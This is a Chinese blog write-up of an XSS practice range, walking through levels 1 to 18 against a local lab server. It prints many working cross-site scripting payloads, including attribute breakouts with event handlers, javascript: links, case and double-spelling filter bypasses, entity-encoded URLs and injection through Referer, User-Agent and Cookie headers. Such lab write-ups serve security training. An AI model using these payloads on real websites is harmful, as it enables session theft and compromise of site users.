首页 > 其他分享 >XSS靶场——通关笔记

XSS靶场——通关笔记

时间:2024-07-15 10:55:51浏览次数:17  
标签:尝试 XSS 查看 标签 alert &# 靶场 源代码 通关

第一关

页面很简单,可以发现通过修改url中level1.php?name后面的字段,页面会改变,显示该字段的总长

再查看源代码,根据源代码可知当有个弹窗就会执行函数,最后得到我们想要的“完成的不错”

<script>alert(111)</script>

第二关

第二关似乎和第一关一样,不确定,试试

同样的代码在第二关并不适用,查看源代码

在input标签中是没有任何过滤的,为了让弹窗出现可以闭合掉<script>alert(111)</script>前面的语句,完整的代码是:

<input name=keyword  value=""><script>alert(111)</script>//">

即在查询框中输入:

"><script>alert(111)</script>//

第三关

还是先输入<script>alert(1111)</script>进行尝试

没有什么效果,继续查看网络源代码

发现两处都将<,>转义了。猜测服务器端在这两处都用htmlspecialchars()函数进行了处理,浏览器中有一些事件可以执行js代码,这里可以使用onfocus事件,观察源代码为单引号闭合,把value闭合掉构造playload

onfocus事件绕过:当输入字段获得焦点时执行Javascript,在提交后,没有立刻弹出这里还需要点一下文本框让事件触发

onfocus常用于<input>,<select>,<a>标签中

//完整代码
<input name=keyword  value='' οnfοcus=javascript:alert() '>
​
 //输入的代码
' οnfοcus=javascript:alert() '
    

总结:onfocus可以绕过html实体化(即<>号的过滤)

第四关

在文本框中输入" , ' , < , > ,666,接着查看源代码

要避免使用<,>,所以本关仍采用事件触发的方式

//完整代码
<input name=keyword  value="" οnfοcus=javascript:alert() ">
//输入的代码                                      " οnfοcus=javascript:alert() "

第五关

先尝试:" ' < > 666,查看源代码

再尝试一下:<script>alert(111)</script> ,依旧不行,再次查看源代码

可以发现<script>标签被换成了<scr_ipt>导致代码无法执行,那么尝试一下前面两关的通关思路:闭合+事件驱动

" οnfοcus=javascript:alert() "

可以发现onfocus被替换成o_nfocus,可以推测,搜索框中的 payload 可能是匹配到关键字进行的替代。这样带on的事件就不能用了,可以再尝试一下大小写绕过,结果失败了,大写全部变成小写,这里应该还应用了转小写的函数

此处既然无法通过 <script> 标签和事件来执行js代码的话,那么可以换一个标签来执行js代码,使用新标签要先闭合<input>标签。

<input name=keyword  value=""><a href=javascript:alert(1)>xss</a>"> 
​
"><a href=javascript:alert(1)>xss</a>

点击一下侧面的链接就ok了

第六关

先输入" ' < > 发现没有对这些特殊符号进行过滤

尝试<script>," οnfοcus=javascript:alert() "发现和第五关结果一样,都被替换了,导致代码无法运行

再尝试一下第五关的代码,发现href变成了hr_ef

直接查看XSS下level6.php文件,可以发现script,on,src,data,href都被替换成其他格式,代码中似乎也没有大小写转换的函数

尝试一下大小写绕过,可以发现大小写没有被过滤掉,所以就可以通过大小写的方式构造playload

"> <sCript>alert()</sCript> <"
" Onfocus=javascript:alert() "
"> <a hRef=javascript:alert()>x</a> <"

第七关

先尝试 " ,' , < ,>,发现没有被过滤

再尝试<script>alert(111)</script>,发现script被完全过滤掉了,换成大小写的形式也被完全替换掉

尝试闭合方式+事件驱动:" οnfοcus=javascript:alert() "

结果on被完全替换掉,换成大小写的形式而不行

尝试">xss

结果href被完全替换掉,换成大小写的形式也不行

大小写绕过不行就双拼写方式

"> <scrscriptipt>alert()</scrscriptipt> <"
" oonnfocus=javascript:alert() "
"> <a hrehreff=javasscriptcript:alert()>x</a> <"

第八关

尝试 " , ' ,< ,>, 发现 " ,<,>都转换成了html实体代码

尝试前面几关的做题思路统统不行,再查看一下XSS下level8的源代码,果然很多字符都要被过滤替换了

但是我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议

javascript:alert()
//进行编码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

本关小结:href属性自动解析Unicode编码

第九关

按照前面几关的尝试都失败了,直接查看源代码

php函数介绍—strpos(): 查找字符串中特定字符的位置

实例:

payload:
&#32;&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;//http://

本关小结:插入指定内容(本关是http://)绕过检测,再将指定内容用注释符注释掉即可

第十关

和前面几关不一样,可以发现页面已经没有任何文本框了,直接查看源代码,在<input>标签里他的type是隐藏的,但是还是get请求,所以直接在url输入即可

127.0.0.1/xss/level10.php?keyword=t_link=2&t_history=3&t_sort=4

查看源代码发现只有t_sort接收到了参数,所以可以从t_sort下手,同时想要使用这个标签就需要注意type是hidden类型,可以把他改为其他类型button或者type

还是先输入 " ,' ,< ,>,可以发现< , > 被过滤掉,还是采用闭合方式+事件驱动

http://127.0.0.1/xss/level10.php?t_link=&t_history=&t_sort=" οnfοcus=javascript:alert() " type=""

第十一关

和第十关一样,页面没有出现任何文本框,直接查看源代码

还是先测试哪一个文本框可以接收到参数,最后发现只有t_sort可以接收到传递的参数

127.0.0.1/xss/level11.php?keyword=t_link=1&t_history=2&t_sort=3&t_ref=4

测试特殊字符: " ' < >,可以发现 " ,< , > 都被过滤掉了

直接查看一下源代码

$str11=$_SERVER['HTTP_REFERER']; 获取当前页面的来源URL,并将其存储在变量$str11中。
$str22=str_replace(">","",$str11);将str11中">"字符替换为空字符串,并将结果存储在变量str22中。
$str33=str_replace("<","",$str22); 将str22中的"<"字符替换为空字符串,并将结果存储在变量str33中
t_sort:值为URL中的"t_sort"参数值。
t_ref:值为经过处理的来源URL(已删除尖括号)。

经过分析可知本题的关键点其实就是referer请求头(Referer请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的)

我们尝试在referer处传参,发现果然可以

尝试在referer处闭合+事件驱动

" οnclick="alert(1)" type=""

第十二关

先查看源代码,和上一关的不同之处是t_ua处已经有了参数,虽然第四个<input>的t_ua已经有了参数,但是仍然尝试给这四个隐藏的文本框传参,结果发现t_sort成功接收到传的参,但是t_ua还是原来的参数,没有接收到刚才传的参

查看XSS下的level12的源代码,可以发现这里其实和第十一关很像

$str11=$_SERVER['HTTP_USER_AGENT'];
agent
// 获取用户代理字符串

那么按照上一关的思路,还在agent处进行传参操作就可以了

" οnclick= " alert(1) " type=""

第十三关

直接查看XSS下的level 13的源代码,和前两关一样都是在http请求头上做文章,本关是在cookie上

但是有一个关键点是cookie这还有一个参数user

无法直接和前面一样直接构造:" οnclick= " alert(1) " type=""

这里用抓包更清晰一点:

user= " οnclick="alert(1)" type=""

第十四关

空的,直接到第十五关

第十五关

查看源代码

<span>标签:对文本中的一部分进行着色
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。
    值得注意的是:
如果单纯指定地址,必须要加引号
加载外部html,script标签中的内容不执行
加载外部html中含有style标签样式可以识别
可以包含同一域名的 html 文件,那也就是说可以包含之前做过的有xss漏洞的文件,但是不能执行script中的代码.

源码中可以发现是通过src传参,还对 < > 进行了过滤,既然类似于包含,那我们就包含一个level1.php,构造payload:

'level1.php?name=<a href="javascript:alert(1)">'

第十六关

先查看源代码没有发现什么特别之处

先尝试最简单的构造<script>alert(111)</script>,可以发现script被完全过滤掉

为了快速找到都有什么字符被过滤掉,直接查看XSS下的源代码,可以发现script,空格,/都被过滤掉了

既然不能有空格,空格最常见的绕过方法就是用回车,回车的url编码是%0A

<img%0Asrc=1%0Aοnerrοr=alert(1)>
//串代码意思就是如果在加载src给的图片时发生错误则执行 js。

第十七关

查看源代码

embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是embed标签打开不了文件的时候就会有块错误的区域。也可以绑定各种事件,比如尝试绑定一个onmouseover事件。后台看代码用了htmlspecialchars,所以直接写标签是不行的。embed标签基本不怎么用了,所以这一关就简单了解一下即可。

通过代码发现,本关卡有两个参数:arg01、arg02,当我们发送的时候,发现他们是会互相拼接起来的,那么我们就容易想到这里会不会就是突破口,发现这两个参数是在embed上,embed标签定义嵌入的内容,并且做了尖括号过滤,那么我们可以加入一个属性进去,生成恶意代码

http://127.0.0.1/xss/level17.php?arg01=a&arg02=%27%20οnmοuseοver=alert(%22aini%22)

第十八关

查看源代码可以发现和第十七关一样,构造的playload也一样,但是火狐不支持,换了一个浏览器才可以

' οnmοuseοver=alert("aini")

第十九关

要用到flash反编译,这方面的知识还是空白。有兴趣的同学可以看一下别的大佬的writeup:http://t.csdnimg.cn/pqodWicon-default.png?t=N7T8http://t.csdnimg.cn/pqodW

第二十关

要用到flash反编译,这方面的知识还是空白。有兴趣的同学可以看一下别的大佬的writeup:http://t.csdnimg.cn/6rarWicon-default.png?t=N7T8http://t.csdnimg.cn/6rarW

标签:尝试,XSS,查看,标签,alert,&#,靶场,源代码,通关
From: https://blog.csdn.net/2301_80358831/article/details/140358233

相关文章

  • vulnstack1靶场学习
    描述红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线......
  • 熊海CMS漏洞练习平台的一次xss、sql注入、越权黑盒思路分析
    简介熊海CMS是由熊海开发的一款功能丰富的网站综合管理系统,广泛应用于个人博客、个人网站以及企业网站,本文章用于黑盒测试,如果需要「源码审计」后台回复【「CMS」】获取即可,精心准备了40多个cms源码漏洞平台,供宝子们学习,一切资源免费image-20240714194841203image-20240......
  • VulnHub-TR0LL: 1靶场实操
    TR0LL:1靶场实操靶场信息下载后使用vm打开即可TR0LL1靶场地址:https://www.vulnhub.com/entry/tr0ll-1,100/靶场创建时间:2014年8月14日靶场描述:Tr0ll的灵感来自于OSCP实验室内对机器的不断拖钓。目标很简单,获取root权限并从/root目录获取Proof.txt。不适合容易沮丧......
  • Vulnhub靶场 | DC系列 - DC1
    https://www.vulnhub.com/series/dc,199/环境搭建靶机镜像下载地址:https://www.vulnhub.com/entry/dc-1,292/;需要将靶机和kali攻击机放在同一个局域网里;本实验kali的IP地址:192.168.10.146。渗透测试1.信息收集使用nmap扫描192.168.10.0/24网段存活主机┌─......
  • Vulnhub靶场 | DC系列 | DC-3
    DC-3环境搭建靶机镜像下载地址:https://vulnhub.com/entry/dc-32,312/需要将靶机和kali攻击机放在同一个局域网里;本实验kali的IP地址:192.168.10.146。渗透测试使用nmap扫描192.168.10.0/24网段存活主机┌──(root......
  • Vulnhub靶场 | DC系列 | DC-2
    DC-2目录环境搭建渗透测试环境搭建靶机镜像下载地址:https://vulnhub.com/entry/dc-2,311/需要将靶机和kali攻击机放在同一个局域网里;本实验kali的IP地址:192.168.10.146。渗透测试使用nmap扫描192.168.10.0/24网段存活主机┌──(root......
  • Vulnhub靶场 | DC系列 | DC-5
    DC-5目录信息收集扫描靶机的IP地址扫描开放的端口访问80端口文件包含漏洞渗透过程向日志中写入一句话木马使用蚁剑连接webshell在/tmp下新建文件一句话木马(留个后门)使用蚁剑虚拟终端反弹shell到kali在kali开启监听使用蚁剑虚拟终端反弹shell到kali提权......
  • Vulnhub靶场 | DC系列 | DC-4
    DC-4环境搭建靶机镜像下载地址:https://vulnhub.com/entry/dc-4,313/需要将靶机和kali攻击机放在同一个局域网里;本实验kali的IP地址:192.168.10.146。渗透测试使用nmap扫描192.168.10.0/24网段存活主机┌──(root......
  • Vulnhub靶场 | DC系列 | DC-7
    DC-7环境搭建靶机镜像下载地址:https://vulnhub.com/entry/dc-6,315/需要将靶机和kali攻击机放在同一个局域网里;本实验kali的IP地址:192.168.10.146。渗透测试使用nmap扫描192.168.10.0/24网段存活主机┌──(root......
  • Vulnhub靶场 | DC系列 | DC-6
    DC-6目录环境搭建渗透测试环境搭建靶机镜像下载地址:https://vulnhub.com/entry/dc-6,315/需要将靶机和kali攻击机放在同一个局域网里;本实验kali的IP地址:192.168.10.146。渗透测试使用nmap扫描192.168.10.0/24网段存活主机┌──(root......